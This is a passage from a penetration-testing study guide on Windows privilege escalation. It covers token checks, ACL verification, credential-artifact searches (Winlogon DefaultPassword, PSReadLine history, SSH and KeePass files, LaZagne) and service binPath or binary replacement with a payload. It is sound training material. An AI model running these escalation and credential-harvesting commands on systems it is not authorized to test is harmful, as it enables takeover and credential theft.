5.2 Escalate privileges on Windows
Strategy map | Master Notes | Operational index | Cheatsheets
An administrator-group membership, enabled token privilege, writable object and effective privileged execution are different claims. Establish the precise right, consumer identity and available trigger before choosing a route.
Speedrun blocks: 9. Documented methods: 13.
Examples are hypothetical study material. Apply commands only to an assigned scope during the later practice phase. A method is enabled by its prerequisites; its presence here does not establish a vulnerability or practical mastery.
5.2.1 First pass: tools and findings
Use the branch matching the current host, identity and observed result. Tool output supplies leads; the linked procedure verifies and uses the exact condition.
5.2.1.1 Record the token and host context
Check the current token before choosing an exploit or collector build.
hostname
whoami /all
systeminfo
ipconfig /all
- If SeImpersonatePrivilege: Check its enabled state and the operation/access needed by that specific technique. → Select a privilege-backed impersonation or object-control route.
- If SeBackupPrivilege: Inspect the permitted backup operation and the exact source it can read. → Use backup privilege to obtain protected local credential material.
- If Service/task activity or a useful group membership: Inspect the actual objects and ACLs. → Prove effective file, registry and service-object permissions.
- Otherwise: No immediate token route: run the broad collector, then verify its service/file findings. → Turn automated Windows findings into manually verified candidates.
5.2.1.2 Run winPEAS early and save its report
Transfer a reviewed binary matching the host architecture. The log option writes out.txt; inspect it before selecting a route. Native checks remain available if execution is blocked.
winPEASx64.exe log
- If Modifiable service or writable service binary: Check sc qc/sdshow and the actual binary/parent ACL, service account and restart rights. → Change a privileged service's executable configuration.
- If Unquoted service path: Check the exact executable prefixes for write access and a privileged restartable consumer. → Exploit an unquoted service path with a writable earlier prefix.
- If A saved credential/config finding: Read the named source and classify the account/material. → Recover Windows application, history and stored-credential artifacts.
- Otherwise: The collector is blocked or reports no useful candidate: continue native ACL/service/task inspection. → Prove effective file, registry and service-object permissions.
5.2.1.3 Verify the specific service/task route
Configuration write, binary replacement, unquoted-prefix write and dependency loading require different rights.
whoami /all
icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE
- If Service configuration can be changed: Confirm the service runs as a stronger identity and you can cause a start/restart. → Change a privileged service's executable configuration.
- If Only the binary or its parent is writable: Check replacement semantics, the consumer identity and a trigger. → Replace a privileged service binary or consumed file.
- If A scheduled task consumes a writable file: Inspect the task principal, action and schedule. → Control scheduled tasks, startup files or autostart consumers.
- Otherwise: The highlighted path is not effectively writable: reject that candidate and inspect another actual object. → Prove effective file, registry and service-object permissions.
5.2.2 Discovery workflow
Start with a Windows foothold. Administrator-group membership, a high-integrity token and a working privileged trigger are separate facts.
Follow these observations into a method; the detailed recognition routes below show synthetic output and the checks still needed.
- Inspect whoami /all and host/process state before choosing a privilege route: Establish Windows token, host and process context.
- Inventory real services/tasks and inspect exact object and parent ACLs: Prove effective file, registry and service-object permissions; Change a privileged service's executable configuration; Control scheduled tasks, startup files or autostart consumers.
- Separate writable service configuration, replaceable binaries, unquoted prefixes and dependency loads: Replace a privileged service binary or consumed file; Exploit an unquoted service path with a writable earlier prefix; Control a privileged DLL, helper or configuration load.
- Follow application/history/saved-credential artifacts and exact token privileges: Recover Windows application, history and stored-credential artifacts; Select a privilege-backed impersonation or object-control route; Use backup privilege to obtain protected local credential material.
- Match software/driver/build evidence only after validating simpler permission routes: Select a matching application, driver or kernel exploit.
Decision rule: an observed clue opens a candidate. Choose it only after the missing conditions are verified; a failed check rules out that context, while unavailable evidence stays inconclusive.
5.2.3 Method families
- Token, ACL and credential state: Establish Windows token, host and process context, Prove effective file, registry and service-object permissions, Recover Windows application, history and stored-credential artifacts.
- Services and privileged consumers: Change a privileged service's executable configuration, Replace a privileged service binary or consumed file, Exploit an unquoted service path with a writable earlier prefix, Control a privileged DLL, helper or configuration load, Control scheduled tasks, startup files or autostart consumers.
- Installer and token-backed operations: Validate elevated installer policy and administrative-token context, Select a privilege-backed impersonation or object-control route, Use backup privilege to obtain protected local credential material.
- Software and candidate generation: Select a matching application, driver or kernel exploit, Turn automated Windows findings into manually verified candidates.
5.2.4 Choose a method
| Method | Recognition clue | Required access | Enabling conditions | Resulting capability |
|---|---|---|---|---|
| Establish Windows token, host and process context | A new Windows session or claimed administrator/SYSTEM transition | A verified Windows foothold with a known token, integrity level and groups | A functioning command channel and the actual effective token/process context | A verified identity, integrity, privilege and host state for candidate selection |
| Prove effective file, registry and service-object permissions | A privileged object appears writable or an ACL tool reports a useful right | A verified Windows foothold with a known token, integrity level and groups | Correct trustee/token, object type and effective rights including parents and deny entries | A specific confirmed control primitive for a privileged consumer |
| Recover Windows application, history and stored-credential artifacts | Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries | A verified Windows foothold with a known token, integrity level and groups | Artifact read permission and exact protecting identity/context for saved or DPAPI material | Typed secret material or a verified saved-credential consumer transition |
| Change a privileged service's executable configuration | Effective SERVICE_CHANGE_CONFIG on a higher-privileged service | A verified Windows foothold with a known token, integrity level and groups | Configuration-change right, accessible compatible payload path and a separate start/restart trigger | Verified execution under the configured service identity |
| Replace a privileged service binary or consumed file | A privileged service consumes a file whose bytes or parent replacement are controllable | A verified Windows foothold with a known token, integrity level and groups | Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger | Verified execution of the replacement under the service identity |
| Exploit an unquoted service path with a writable earlier prefix | A service command line contains unquoted spaces | A verified Windows foothold with a known token, integrity level and groups | An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists | Verified execution of the earlier executable candidate |
| Control a privileged DLL, helper or configuration load | A privileged application searches for a missing dependency or consumes writable configuration | A verified Windows foothold with a known token, integrity level and groups | Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger | Verified privileged consumption of the chosen dependency |
| Control scheduled tasks, startup files or autostart consumers | A task/startup action consumes a writable command, file, directory or registry value | A verified Windows foothold with a known token, integrity level and groups | Effective object control, a higher principal and a usable scheduled/logon/manual trigger | Verified privileged task or startup execution |
| Validate elevated installer policy and administrative-token context | Installer policy values or an administrator account with a filtered token | A verified Windows foothold with a known token, integrity level and groups | AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context | A verified installer-policy execution route or a precise token-boundary assessment |
| Select a privilege-backed impersonation or object-control route | whoami /priv exposes a relevant token privilege | A verified Windows foothold with a known token, integrity level and groups | The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context | A verified token-backed identity or privileged-object operation |
| Use backup privilege to obtain protected local credential material | A token has the relevant backup rights and protected registry/files are a useful credential source | A verified Windows foothold with a known token, integrity level and groups | Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination | Matched credential material suitable for offline parsing |
| Select a matching application, driver or kernel exploit | An exact vulnerable local component is present after simpler paths are assessed | A verified Windows foothold with a known token, integrity level and groups | Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions | A justified local exploit and independently verified higher-privilege result |
| Turn automated Windows findings into manually verified candidates | A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials | A verified Windows foothold with a known token, integrity level and groups | Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location | A shortlist of permissions, consumers and credential sources to validate |
5.2.5 Establish Windows token, host and process context
Blocks: 9. Operational procedure | Operational procedure | Quick sheet
5.2.5.1 Purpose and result
A verified identity, integrity, privilege and host state for candidate selection.
5.2.5.2 Recognition clues
A new Windows session or claimed administrator/SYSTEM transition.
5.2.5.2.1 Find the clue from your starting access
Where to investigate: At a new foothold inspect the complete token and host/service inventory before classifying the session as an administrator.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: A functioning command channel and the actual effective token/process context
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Verify represented user/SID, enabled group/privilege state and actual privileged operation.
Failure/next check: A prompt title or account name is insufficient. WMIC may be absent; use the documented CIM/PowerShell alternatives.
whoami /all
systeminfo
tasklist /svc
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
BUILTIN\Administrators: Group used for deny only
Mandatory Label\Medium Mandatory Level
Recognize this detail: An Administrators SID exists but this effective process is filtered/medium-integrity.
Still missing before method selection: Check actual enabled privileges and object operations in the process that will perform the action.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A higher-integrity/SYSTEM token and intended operation are verified: record that privilege state. |
| Ruled out in this context | A medium filtered token cannot perform the assumed administrative action: reject that privilege assumption. |
| Inconclusive | Username/group membership alone leaves token state unknown; inspect whoami /all. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
5.2.5.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: A functioning command channel and the actual effective token/process context.
5.2.5.4 Discover and verify prerequisites
hostname
whoami /all
systeminfo
ipconfig /all
5.2.5.5 Why it works
Group membership can be filtered in a token, and a network logon context can differ from interactive access. Check privileges and integrity where the intended operation runs.
5.2.5.6 Execute and choose variants
hostname
whoami /all
systeminfo
ipconfig /all
route print
netstat -ano
tasklist /svc
query user
net user
net localgroup Administrators
driverquery /v
Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber,OsArchitecture
Get-HotFix | Sort-Object InstalledOn -Descending
Get-CimInstance Win32_Process | Select-Object ProcessId,Name,ExecutablePath,CommandLine
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,StartMode,PathName
Get-LocalUser
Get-LocalGroupMember Administrators
Interpret: record user SID, integrity label, enabled/deny-only groups and present/enabled privileges. Administrator membership with Medium integrity is a filtered token, not a high-integrity process.
Get-HotFixdoes not list every update; use build/KB output only to form a version hypothesis.
5.2.5.6.1 WMIC compatibility fallbacks
wmic qfe get HotFixID,InstalledOn
wmic service get Name,StartName,State,StartMode,PathName
wmic process get ProcessId,Name,ExecutablePath,CommandLine
WMIC is deprecated and may be absent on newer systems; PowerShell CIM is the baseline.
whoami /all
hostname
ipconfig /all
After a higher token, re-enumerate protected credentials, services, tasks, sessions, listeners, routes and domain context. Preserve the command, relevant output, trigger and restoration step. For exam use, recheck the current OffSec guide: Windows full-privilege evidence requires SYSTEM, Administrator or an account with Administrator privileges, and AI/LLM use is prohibited during the exam and report phase.
5.2.5.7 Worked example — hypothetical
Observation: the username belongs to Administrators. Test: inspect token groups/integrity and effective privileges. Illustrative output: the administrator SID is deny-only in a medium token. Interpretation: do not assume high-integrity service-control rights.
5.2.5.8 Verify the result
Verify represented user/SID, enabled group/privilege state and actual privileged operation.
5.2.5.9 Failure and fallback
A prompt title or account name is insufficient. WMIC may be absent; use the documented CIM/PowerShell alternatives.
5.2.5.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A privileged object appears writable or an ACL tool reports a useful right | Correct trustee/token, object type and effective rights including parents and deny entries | §5.2.6 — Prove effective file, registry and service-object permissions |
| Effective SERVICE_CHANGE_CONFIG on a higher-privileged service | Configuration-change right, accessible compatible payload path and a separate start/restart trigger | §5.2.8 — Change a privileged service's executable configuration |
| whoami /priv exposes a relevant token privilege | The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context | §5.2.14 — Select a privilege-backed impersonation or object-control route |
| A service command line contains unquoted spaces | An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists | §5.2.10 — Exploit an unquoted service path with a writable earlier prefix |
| Installer policy values or an administrator account with a filtered token | AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context | §5.2.13 — Validate elevated installer policy and administrative-token context |
5.2.6 Prove effective file, registry and service-object permissions
Blocks: 9. Operational procedure | Quick sheet
5.2.6.1 Purpose and result
A specific confirmed control primitive for a privileged consumer.
5.2.6.2 Recognition clues
A privileged object appears writable or an ACL tool reports a useful right.
5.2.6.2.1 Find the clue from your starting access
Where to investigate: Take a real service/task/application path from inventory, then inspect its file, parent and separate service-object permissions.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: Correct trustee/token, object type and effective rights including parents and deny entries
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Name the exact allowed operation on the exact object and independently check a privileged consumer/trigger.
Failure/next check: Generic write labels can refer to another object or an inactive group. Resolve actual effective rights before modifying anything.
icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
File: BUILTIN\Users:(RX)
Parent: DOMAIN\GROUP:(M)
Service-object rights: separate DACL
Recognize this detail: A modifiable parent can differ from a read-only file; service configuration rights are another control plane.
Still missing before method selection: Use icacls/Get-Acl on the reported object and parents. For a service also inspect sc qc/sc sdshow; for a task inspect its action/principal. Check the specific write/replace/configuration operation and its trigger.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The intended effective operation and higher consumer are proved: select that object-control method. |
| Ruled out in this context | Only read/execute applies to the current token: reject the proposed modification. |
| Inconclusive | An ACL for an inactive or ambiguous group leaves effective access unresolved. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.6.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Correct trustee/token, object type and effective rights including parents and deny entries.
5.2.6.4 Discover and verify prerequisites
whoami /all
icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE
5.2.6.5 Why it works
A service-object DACL controls operations such as configuration changes; the executable's filesystem ACL is separate. Parent delete/create rights can allow replacement without direct file modification.
5.2.6.6 Execute and choose variants
icacls "C:\Path\To\OBJECT"
sc.exe sdshow SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\OBJECT"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
icacls common rights: F full, M modify, RX read/execute, R read, W write, D delete. Common inheritance markers: I, OI, CI, IO, NP.
File, directory, registry, service-object, task and process permissions are separate. Check whether the ACE applies to the current user or an enabled group and grants the exact required operation. Mandatory Integrity Control can still block a lower-integrity write.
5.2.6.7 Worked example — hypothetical
Observation: a service executable is read-only but its directory grants replacement rights. Test: inspect the effective token and parent permissions. Illustrative output: replacement is possible but service restart is denied. Interpretation: the control primitive is valid; the trigger remains missing.
5.2.6.8 Verify the result
Name the exact allowed operation on the exact object and independently check a privileged consumer/trigger.
5.2.6.9 Failure and fallback
Generic write labels can refer to another object or an inactive group. Resolve actual effective rights before modifying anything.
5.2.6.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A privileged service consumes a file whose bytes or parent replacement are controllable | Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger | §5.2.9 — Replace a privileged service binary or consumed file |
| A task/startup action consumes a writable command, file, directory or registry value | Effective object control, a higher principal and a usable scheduled/logon/manual trigger | §5.2.12 — Control scheduled tasks, startup files or autostart consumers |
| A privileged application searches for a missing dependency or consumes writable configuration | Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger | §5.2.11 — Control a privileged DLL, helper or configuration load |
5.2.7 Recover Windows application, history and stored-credential artifacts
Blocks: 9. Operational procedure | Operational procedure | Quick sheet
5.2.7.1 Purpose and result
Typed secret material or a verified saved-credential consumer transition.
5.2.7.2 Recognition clues
Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries.
5.2.7.2.1 Find the clue from your starting access
Where to investigate: Follow actual application/configuration paths, PSReadLine history and saved-credential targets under the current readable user context.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: Artifact read permission and exact protecting identity/context for saved or DPAPI material
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Tie each value to a source/account/service and verify any new token with whoami /all.
Failure/next check: Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route.
cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
cmdkey target: Domain:target=TARGET_HOST
User: DOMAIN\USER
Password: not displayed
Recognize this detail: A target-bound saved credential is a possible consumer capability, not a plaintext password.
Still missing before method selection: Establish protecting user/context, intended logon type and an actually permitted saved-credential or decryption route.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The matching consumer accepts the credential and the resulting token is checked: use that access. |
| Ruled out in this context | The stored entry belongs to another context/target and cannot be used here: reject that transition. |
| Inconclusive | A protected blob/listing without keys or consumer evidence leaves usable credentials unproved. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.7.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Artifact read permission and exact protecting identity/context for saved or DPAPI material.
5.2.7.4 Discover and verify prerequisites
cmdkey /list
whoami /all
5.2.7.5 Why it works
A cmdkey entry proves a target-bound stored credential, not plaintext disclosure. Saved-credential use and DPAPI decryption require matching contexts; runas does not inherently bypass UAC.
5.2.7.6 Execute and choose variants
5.2.7.6.1.1 Find usable credentials in accessible Windows artifacts Stored credentials and PowerShell trails
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
$history = (Get-PSReadLineOption).HistorySavePath
$history
Get-Content -LiteralPath $history -ErrorAction SilentlyContinue
Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -ErrorAction SilentlyContinue |
Where-Object Id -in 4103,4104 | Select-Object -First 50 TimeCreated,Id,Message
A
cmdkeyentry is target/context-bound and does not reveal a password. DPAPI-protected data needs the protecting user/machine context and keys.Clear-Historydoes not necessarily clear PSReadLine's saved file.
5.2.7.6.1.1.1 Targeted application/file/registry search
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul
Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false
Search from observed applications first. Classify every value by identity, format, scope and compatible service, then use the credential procedure.
5.2.7.6.1.1.2 Saved credential consumer
runas /savecred /user:DOMAIN\USER cmd.exe
Use only when
cmdkey/context supports that identity and logon type.runasdoes not inherently bypass UAC; verify the resulting token withwhoami /all.
5.2.7.6.1.1.3 LaZagne — recover application credentials in the current user's context
Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.
5.2.7.6.1.1.4 Browser-store leads for the current user
REM Browser-store leads for the current user
laZagne.exe browsers
5.2.7.6.1.1.5 Broader recovery, with a local text report
REM Broader recovery, with a local text report
laZagne.exe all -oN
Read: preserve the reported application/account/source with each recovered value. Test a matching service using the credential procedure; a recovered application password is not automatically a domain password. Empty output can mean no supported store, inaccessible profile or failed decryption. Follow manual history/config/vault checks instead of assuming there are no credentials.
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match 'pass|cred|config|backup|unattend|\.env' }
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd' } |
Select-String -Pattern 'password|passwd|secret|token|connectionString' -CaseSensitive:$false
Avoid searching the entire filesystem without a reason; scope reduces noise, access errors and sensitive-data overcollection.
5.2.7.7 Worked example — hypothetical
Observation: a history file contains a service password. Test: identify its account scope and compatible service. Illustrative output: the password grants a remote share but not local elevation. Interpretation: re-enumerate that share and preserve identity context.
5.2.7.8 Verify the result
Tie each value to a source/account/service and verify any new token with whoami /all.
5.2.7.9 Failure and fallback
Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route.
5.2.7.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| A password tied to a plausible user and service | Correct local/domain/application identity, reachable compatible service, accepted authentication and account state | §3.1.6 — Validate known passwords and context-specific reuse |
| Saved credentials or protected application blobs/master keys | Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor | §6.3.11.8 — Use Credential Manager and DPAPI with the protecting context |
5.2.8 Change a privileged service's executable configuration
Choose when: Effective SERVICE_CHANGE_CONFIG on a higher-privileged service · Result: Verified execution under the configured service identity
Blocks: 9. Operational procedure | Operational procedure | Quick sheet
5.2.8.1 Purpose and result
Verified execution under the configured service identity.
5.2.8.2 Recognition clues
Effective SERVICE_CHANGE_CONFIG on a higher-privileged service.
5.2.8.2.1 Find the clue from your starting access
Where to investigate: Inventory service accounts/paths, select a higher-identity service and query its effective service-object rights with the current token.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Verify the payload's effect and service execution identity, then restore the saved configuration.
Failure/next check: Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell.
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
sc.exe qc SERVICE
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
SERVICE_START_NAME: LocalSystem
Effective service rights:
SERVICE_CHANGE_CONFIG
SERVICE_START
Recognize this detail: Configuration-change and start rights on the same higher-identity service are promising; file ACLs alone would not prove them.
Still missing before method selection: Use sc qc to read the service account and command, sc sdshow/AccessChk to verify configuration rights and sc query to inspect state. Confirm an allowed start/restart trigger before changing the service, then verify whoami.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The controlled configuration is consumed at a usable trigger and effect is verified: choose service configuration abuse. |
| Ruled out in this context | Only query rights are granted: reject the ability to change binPath. |
| Inconclusive | CHANGE_CONFIG without a usable trigger remains an incomplete candidate. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.8.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Configuration-change right, accessible compatible payload path and a separate start/restart trigger.
5.2.8.4 Discover and verify prerequisites
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Windows\Temp"
5.2.8.5 Why it works
Service configuration and service start/stop are separate permissions. An ordinary program can execute and still return service error 1053 because it does not implement the service protocol.
5.2.8.6 Execute and choose variants
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"
Need: control of service config, exact binary/script, searched prefix, DLL/config/plugin, or relevant DACL; higher
SERVICE_START_NAME; and a start/restart/boot trigger. In PowerShell usesc.exe, because baresccan resolve toSet-Content.
Preserve BINARY_PATH_NAME, account and start mode first:
sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE
Restore:
sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"
SERVICE_CHANGE_CONFIGcontrolsbinPath; start/stop are separate rights. The space afterbinPath=is required. Error 1053 may mean a non-service payload ran but did not answer the Service Control Manager; verify the intended effect.
5.2.8.6.1 Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE
A parent with delete/create rights can permit replacement even when the file is not directly writable. Confirm architecture, file locks, recovery copy and exact trigger.
5.2.8.7 Worked example — hypothetical
Observation: configuration changes are permitted but stop/start is denied. Test: inspect the actual service schedule/recovery trigger. Illustrative output: no usable trigger is available. Interpretation: record the control and missing condition, then prioritize another path.
5.2.8.8 Verify the result
Verify the payload's effect and service execution identity, then restore the saved configuration.
5.2.8.9 Failure and fallback
Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell.
5.2.8.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| Windows execution or valid credentials with an available remote service | Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route | §4.2.7 — Use Windows authenticated access or a PowerShell command channel |
| A new Windows session or claimed administrator/SYSTEM transition | A functioning command channel and the actual effective token/process context | §5.2.5 — Establish Windows token, host and process context |
| A task/startup action consumes a writable command, file, directory or registry value | Effective object control, a higher principal and a usable scheduled/logon/manual trigger | §5.2.12 — Control scheduled tasks, startup files or autostart consumers |
5.2.9 Replace a privileged service binary or consumed file
Choose when: A privileged service consumes a file whose bytes or parent replacement are controllable · Result: Verified execution of the replacement under the service identity
Blocks: 9. Operational procedure | Quick sheet
5.2.9.1 Purpose and result
Verified execution of the replacement under the service identity.
5.2.9.2 Recognition clues
A privileged service consumes a file whose bytes or parent replacement are controllable.
5.2.9.2.1 Find the clue from your starting access
Where to investigate: From service inventory follow the exact executable/script path and inspect both its own ACL and its parent's replacement rights.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Prove actual selected file, trigger and resulting token; retain the recovery copy privately.
Failure/next check: File locking, read-only paths, wrong architecture or unavailable restart can block this specific route.
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
SERVICE_START_NAME: LocalSystem
BINARY_PATH_NAME: C:\APP\service.exe
C:\APP: DOMAIN\GROUP:(M)
Recognize this detail: A higher-identity service consumes a potentially replaceable file in a modifiable directory.
Still missing before method selection: Use sc qc to locate the real binary and account, then icacls on that file and its parent. Confirm replacement rights and an available privileged service start/restart; a writable unrelated file is insufficient.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The replaced compatible file is actually started under the service identity: select this route. |
| Ruled out in this context | The modified directory is unrelated to the configured executable: reject this consumer assumption. |
| Inconclusive | A writable path without restart/boot evidence leaves execution unproved. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.9.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger.
5.2.9.4 Discover and verify prerequisites
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
5.2.9.5 Why it works
Filesystem control can redirect service execution without permission to change the service object. The actual consumed path and service account must be confirmed.
5.2.9.6 Execute and choose variants
5.2.9.6.1 Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE
A parent with delete/create rights can permit replacement even when the file is not directly writable. Confirm architecture, file locks, recovery copy and exact trigger.
5.2.9.7 Worked example — hypothetical
Observation: a LocalSystem service binary is replaceable. Test: preserve it, verify the restart right and trigger the documented replacement. Illustrative output: the controlled effect runs as SYSTEM. Interpretation: verify the token and restore the original artifact.
5.2.9.8 Verify the result
Prove actual selected file, trigger and resulting token; retain the recovery copy privately.
5.2.9.9 Failure and fallback
File locking, read-only paths, wrong architecture or unavailable restart can block this specific route.
5.2.9.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A new Windows session or claimed administrator/SYSTEM transition | A functioning command channel and the actual effective token/process context | §5.2.5 — Establish Windows token, host and process context |
| A downloaded/generated artifact exists but does not run | Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format | §7.1.7 — Match an artifact to its executable consumer and runtime |
| A privileged object appears writable or an ACL tool reports a useful right | Correct trustee/token, object type and effective rights including parents and deny entries | §5.2.6 — Prove effective file, registry and service-object permissions |
5.2.10 Exploit an unquoted service path with a writable earlier prefix
Choose when: A service command line contains unquoted spaces · Result: Verified execution of the earlier executable candidate
Blocks: 9. Operational procedure | Quick sheet
5.2.10.1 Purpose and result
